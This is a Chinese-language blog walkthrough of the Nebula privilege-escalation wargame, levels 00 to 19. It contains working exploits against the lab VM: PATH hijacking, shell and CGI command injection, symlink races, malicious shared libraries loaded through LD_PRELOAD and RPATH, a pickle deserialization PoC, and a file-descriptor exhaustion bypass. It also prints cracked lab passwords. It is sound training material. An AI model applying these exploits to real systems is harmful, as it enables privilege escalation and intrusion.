

SWRhapsody

Nebula

于4月 21, 2018由SWRhapsody发布

Nebula

<https://exploit-exercises.com/nebula/>

这是一套练习题，网站上有各个关卡的说明，在download页面下载镜像文件就可以在本机玩了。

level00

登陆进去后 `getflag`

level01

程序中的 `echo` 是从环境变量中读的。改写环境变量，在 `tmp` 中做一个 `echo` 来替换它

```
1 #include <stdlib.h>
2 #include <unistd.h>
3 #include <string.h>
4 #include <sys/types.h>
5 #include <stdio.h>
6
7 int main(int argc, char **argv, char **envp)
8 {
9     system("/bin/bash");
10 }
```

```
level01@nebula:~/tmp$ export PATH=/tmp:$PATH
level01@nebula:~/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:~/tmp$ cd /home/flag01
level01@nebula:/home/flag01$ ll
total 13
-rwxr-xr-x 1 flag01 level01 32 2011-11-20 21:22 ./
-rwxr-xr-x 1 root root 80 2012-08-27 07:18 ../
-rw-r--r-- 1 flag01 flag01 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01 3333 2011-05-18 02:54 .bashrc
-rwxr-xr-x 1 flag01 level01 7522 2011-11-20 21:22 ./level01
-rw-r--r-- 1 flag01 flag01 675 2011-05-18 02:54 .profile
level01@nebula:/home/flag01$ ./flag01
flag01@nebula:/home/flag01$ whoami
flag01
flag01@nebula:/home/flag01$
```

level02

从代码中可以看到程序从环境变量中读取了 `USER`，但没有讨论。简单的命令行注入

SWRhapsody

```
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo /bin/bash is cool")
/bin/bash is cool
level02@nebula:/home/flag02$ echo a;echo b
a
b
level02@nebula:/home/flag02$ echo a#echo b
a#echo b
level02@nebula:/home/flag02$ echo a #echo b
a #echo b
level02@nebula:/home/flag02$ export USER="";/bin/bash #
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;/bin/bash # is cool")
flag02@nebula:/home/flag02$
```

level03

进入目录我们可以看到一个writable.d的文件夹和writable.sh

```
1 #!/bin/sh
2
3 for i in /home/flag03/writable.d/* ; do
4     (ulimit -t 5; bash -x "$i")
5     rm -f "$i"
6 done
```

```
1 -x file
2     True if file exists and is executable.
```

脚本会执行writable.d文件夹下所有可执行的文件，写个脚本或程序让它执行。

level04

进入指定目录后可以看到文件夹下还有个叫token的文件，网站上的代码告诉我们程序可以读取文件的内容，但要是文件以 token 开头就拒绝读取。可以做一个 token 文件的软连接来绕过。

```
level04@nebula:/home/flag04$ cat token
cat: token: Permission denied
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/level04
level04@nebula:/home/flag04$ ./flag04 /tmp/level04
level04@nebula:/home/flag04$
```

好像别的网站上说拿到token之后可以用这个作为密码登陆，不过我试了下没成功。

level05

进入指定目录后可以看到存在 .ssh 文件夹，进入 .backup 文件夹可以看到一个备份，解压到自己的文件夹下在 ssh 登陆。

```
1 level05@nebula:/home/flag05$ cd .backup
2 level05@nebula:/home/flag05/.backup$ tar -xvzf backup-19072011.tgz -C /home/level05
```

```
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
flag05@nebula:~$
```

level06

这关题目提示来自古老的unix系统。直接查看 /etc/passwd 可以看到明文hash

SWRhapsody

破解后密码是 hello

level07

源码中看到脚本没有对输入进行过滤，简单的注入

```
1 level07@nebula:/tmp$ cat /etc/passwd | grep flag07
2 flag07:x:992:992:./home/flag07:/bin/sh
```

```
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <sys/types.h>
4 #include <unistd.h>
5
6 int main(){
7
8
9     setresuid(992,992,992);
10    setresgid(992,992,992);
11    system( "/bin/bash" );
12
13 }
```

```
1 perl index.cgi Host="ping -c 3 ;gcc -o level07 /tmp/bash_id.c;chmod +s,a+wx level07 2>&1"
```

level08

进入文件夹后看到有个 .cap 文件，考出来后用wireshark 打开可以看到其中一个包有明文的密码，密码是 backd00Rmate，用这个登陆 flag08即可。

level09

代码中可以看到 php 读取一个文件，并对文件中的邮箱地址进行处理

```
level09@nebula:/home/flag09$ ./flag09 /tmp/tmp.txt
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
a AT qq dot com
level09@nebula:/home/flag09$ cat /tmp/tmp.txt
(email@qq.com)
level09@nebula:/home/flag09$
```

可惜还是没有对输入进行过滤，可以用Complex (curly) syntax来执行命令。用如下的邮件地址

```
1 [email {{{system(sh)}}}]
```

level10

通过源码我们可以发现这里存在一个 Time to check， Time to use 的漏洞。程序 access 和read的文件不一定是同一个，通过不停的创建链接来让 level10 可以读取 token 文件中的内容

```
1 level10@nebula:~$ while true; do nc -lnp 18211 >> out; done
2 level10@nebula:~$ echo "wrong token, keep trying!" > /tmp/faketoken
3 level10@nebula:~$ while true; do ln -fs /tmp/faketoken token; ln -fs /home/flag10/token token;
```

SWRhapsody

```

8 wrong token, keep trying!
9 .o0 Oo.
10 wrong token, keep trying!
11 .o0 Oo.
12 wrong token, keep trying!
13 .o0 Oo.
14 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
15 .o0 Oo.
16 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
17 .o0 Oo.
18 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
19 .o0 Oo.
20 wrong token, keep trying!
21 .o0 Oo.
22 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

```

level11

文件夹下存在 .ssh 文件夹，应该是让我们通过获取key来登陆。但源码上好像不存在什么漏洞，不过注释里有一句

```

1 /*
2  * Return a random, non predictable file, and return the file descriptor for it.
3  */

```

考虑到这是个题目并且系统是ubuntu 11.0，那么就应该是让我们预测这个随机文件。

仔细阅读下源码可以看到程序有个分支，输入小于1024时直接执行命令，大于1024时，把程序写到一个临时的文件中在执行命令。同时 process 函数中会对输入进行简单的解密。不过由于程序没有 setuid 所以关键应该不在命令的执行而在文件的写入处。考虑程序是否可以把我们的key写到.ssh中。

先生成密钥

```
1 echo -e "/tmp/level11.key" | ssh-keygen -t rsa -b 2048 -C "level11@nebula"
```

再把公钥拷贝到下面这个程序的buf处并用“A”之类的填充到1024字节

```

1 #include <stdio.h>
2 #include <stdlib.h>
3
4 void randPath(char **path, int pid, int time){
5     srand(time);
6
7     asprintf(path, "%s/%d.%c%c%c%c%c%c", getenv("TEMP"), pid,
8         'A' + (random() % 26), '0' + (random() % 10),
9         'a' + (random() % 26), 'A' + (random() % 26),
10        '0' + (random() % 10), 'a' + (random() % 26));
11 }
12
13 int main(int argc, char **argv){
14     char buf[1024] = "";
15     char keyFile[34] = "/home/flag11/.ssh/authorized_keys\x00";
16     int pid = getpid() + 1;
17     char* path;
18

```

SWRhapsody

```

24
25     fprintf(stdout, "Content-Length: 1024\n%s",buf);
26
27     return 0;
28 }

```

```

1 export TEMP=/tmp
2 /tmp/level11 | /home/flag11/flag11

```

记得设置下环境变量

level12

源代码中可以看到没有对password进行过滤，同时

```

1 prog = io.popen("echo "..password.." | sha1sum", "r")

```

```

level12@nebula:/home/flag12$ nc -nv 127.0.0.1 50001
connection to 127.0.0.1 50001 port [tcp/*] succeeded!
password: $(getflag > /home/flag12/a)
better luck next time
level12@nebula:/home/flag12$ ll
total 16
-rwxr-x--- 1 flag12 level12  60 2018-04-20 17:27 ./
-rwxr-xr-x 1 root   root    80 2012-08-27 07:18 ../
-rw-r--r-- 1 flag12 flag12   59 2018-04-20 17:30 a
-rw-r--r-- 1 flag12 flag12  220 2011-09-18 02:54 .bash_logout
-rw-r--r-- 1 flag12 flag12  323 2011-09-18 02:54 .bashrc
-rw-r--r-- 1 root   root    685 2011-11-20 21:22 flag12.lua
-rw-r--r-- 1 flag12 flag12   675 2011-09-18 02:54 .profile
level12@nebula:/home/flag12$ cat a
you have successfully executed getflag on a target account
level12@nebula:/home/flag12$

```

level13

程序中uid进行了验证，不是1000就不告诉你token，可以用gdb来让这里相等，也可以自己写一个getuid 来返回1000再用 LD_PRELOAD。

```

1 #include <sys/types.h>
2 uid_t getuid(void) {
3     return 1000;
4 }

```

```

1 gcc -shared -fPIC exploit.c -o exploit.so
2 LD_PRELOAD=/tmp/exploit.so /home/flag13/flag13

```

level14

执行程序，输入很长的一串'A'就可以看出加密的方式，

```

filename="/home/flag14/token"
decrypt=""
with open(filename,"r") as f:
    encr = f.read()
    for i in range(0,len(encr)-1):
        decrypt+=chr(ord(encr[i])-1)
print decrypt

```

SWRhapsody

level15

通过strace可以看到程序试图从多个位置加载lib.so.6，同时objdump -p -R 选项可以看到程序设置了 `RPATH=/var/tmp/flag15/`。考虑自己做一个共享库来替代lib.so.6。

```
1 #include <linux/unistd.h>
2
3
4 void __cxa_finalize (void *d) {
5     return;
6 }
7
8 int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (
9     system("/bin/sh");
10 }
```

version

```
1 GLIBC_2.0 { };
```

```
1 gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit.c
```

```
flag15/ flag16/ flag17/ flag18/
level15@nebula:/tmp/flag15$ cd /home/flag15
level15@nebula:/home/flag15$ ./flag15
sh-4.2$ id
uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)
sh-4.2$ whoami
flag15
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$
```

这里要注意的时编译时要把这玩意静态链接，不然运行时会报找不到符号的错误。

level16

这个我没有完成，我的机子上1616端口始终没有程序监听，重启什么的怎么搞都不行。

level17

这里读源码可以发现一个序列化的漏洞

```
1 obj = pickle.loads(line)
```

详细的可以看参考[2]

```
import os
import pickle
import socket

class Poc(object):
    def __reduce__(self):
        return (os.system, (["getflag > /tmp/flag17/a.txt"],))

HOST="127.0.0.1"
PORT=10001
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((HOST,PORT))
print s.recv(1024)
obj=Poc()
sobj=pickle.dumps(obj)
print "sending Poc"
s.send(sobj)
print s.recv(1024)
s.close()
```

SWRhapsody

```
total 12
-rwxr-xr-x 2 level16 level16 100 2018-04-20 20:39 /
-rwxr-xr-x 6 root root 280 2018-04-20 20:39 /
-rw-r--r-- 1 flag17 flag17 59 2018-04-20 20:39 a.txt
-rw-r--r-- 1 level16 level16 299 2018-04-20 20:33 exploit.py
-rw-r--r-- 1 level17 level17 356 2018-04-20 20:38 ex.py
level17@nebula:/tmp/flag17$ cat a.txt
You have successfully executed getflag on a target account
level17@nebula:/tmp/flag17$
```

level18

这题有简单和困难的两种方法，先说简单的。

代码中存在一个逻辑漏洞，在login中

```
1 void login(char *pw)
2 {
3     FILE *fp;
4
5     fp = fopen(PWFILE, "r");
6     if(fp) {
7         char file[64];
8
9         if(fgets(file, sizeof(file) - 1, fp) == NULL) {
10             dprintf("Unable to read password file %s\n", PWFILE);
11             return;
12         }
13         fclose(fp);
14         if(strcmp(pw, file) != 0) return;
15     }
16     dprintf("logged in successfully (with%s password file)\n",
17         fp == NULL ? "out" : "");
18
19     globals.loggedin = 1;
20
21 }
```

可以看到程序只在打开文件成功并能成功读取password时调用 fclose，这样成功打开但读取不成功的没有关闭，同时一个程序能打开的文件描述符使用数量限制，打开过多的时候 fopen 会失败，这个时候 globals.loggedin 就直接等于 1。然后就可以随便执行命令。由于 password 文件中有内容，所以这个程序在用 flag18 用户运行时是没问题的，但是我们现在是 level18。你可以看到 level18 是没有 password 的权限读取的。

```
1 python -c 'print("login foo\n"*1021)' > /tmp/a.txt
2 python -c 'print("closelog")' >> a.txt
3 python -c 'print("shell")' >> a.txt
4
5 cat /tmp/a.txt | /home/flag18/flag18
```

至于困难的方法可以看参考[\[3\]](#),[\[4\]](#),[\[5\]](#)

level19

SWRhapsody

```
2
3 int main(int argc, char **argv, char **envp) {
4     int childPID = fork();
5     if(childPID >= 0) { // fork was successful
6         if(childPID == 0) { // child process
7             sleep(1); //wait for parent's death
8             setresuid(geteuid(),geteuid(),geteuid());
9             char *args[] = {"/bin/sh", "-c", "whoami > /tmp/a.txt", NULL};
10            execve("/home/flag19/flag19", args, envp);
11        }
12    }
13    return 0;
14 }
```

```
flag19
level19@nebula:/tmp$ ./a.out
level19@nebula:/tmp$ cat a.txt
flag19
level19@nebula:/tmp$ _
```

参考

- [1] level11 <http://blog.ferling.eu/wargames/nebula/level11>
- [2] <https://blog.nelhage.com/2011/03/exploiting-pickle/>
- [3] <http://forelsec.blogspot.com.es/2013/03/nebula-solutions-all-levels.html>
- [4] <http://v0ids3curity.blogspot.com.es/2012/09/defeating-aslr-using-information-leak.html>
- [5] <http://v0ids3curity.blogspot.com.es/2012/09/exploit-exercise-format-string.html>

分类: EXERCISE



0 条评论

发表评论

SWRhapsody

电子邮件 *

网站

在想些什么?

发表评论

近期文章

[携程Apollo YAML 反序列化](#)

[CVE-2020-5410](#)

[CodeQL部分源码简读](#)

[服务器与网关的不一致](#)

[CodeQL 部分使用记录](#)

近期评论

文章归档

2020年8月

SWRhapsody

2020年5月

2020年3月

2020年1月

2019年12月

2019年11月

2019年8月

2019年7月

2019年5月

2019年4月

2019年1月

2018年11月

2018年10月

2018年9月

2018年4月

2018年3月

2018年2月

2018年1月

分类目录

Article Collection

Cheat Sheet

cryptography

Exercise

Exploit

SWRhapsody

Uncategorized

相关文章

EXERCISE

CodeQL 部分源码简读

Introduction CodeQL 也用了不少时间了，从最初的不会 [阅读更多...](#)

CHEAT SHEET

CodeQL 部分使用记录

前言 CodeQL 是一个代码分析引擎，主要原理是通过对代码进行构建并 [阅读更多...](#)

EXERCISE

Java 反编译工具

在复现 CVE-2019-15012 遇到了一个非常坑的地方，使用 J [阅读更多...](#)

SWRhapsody
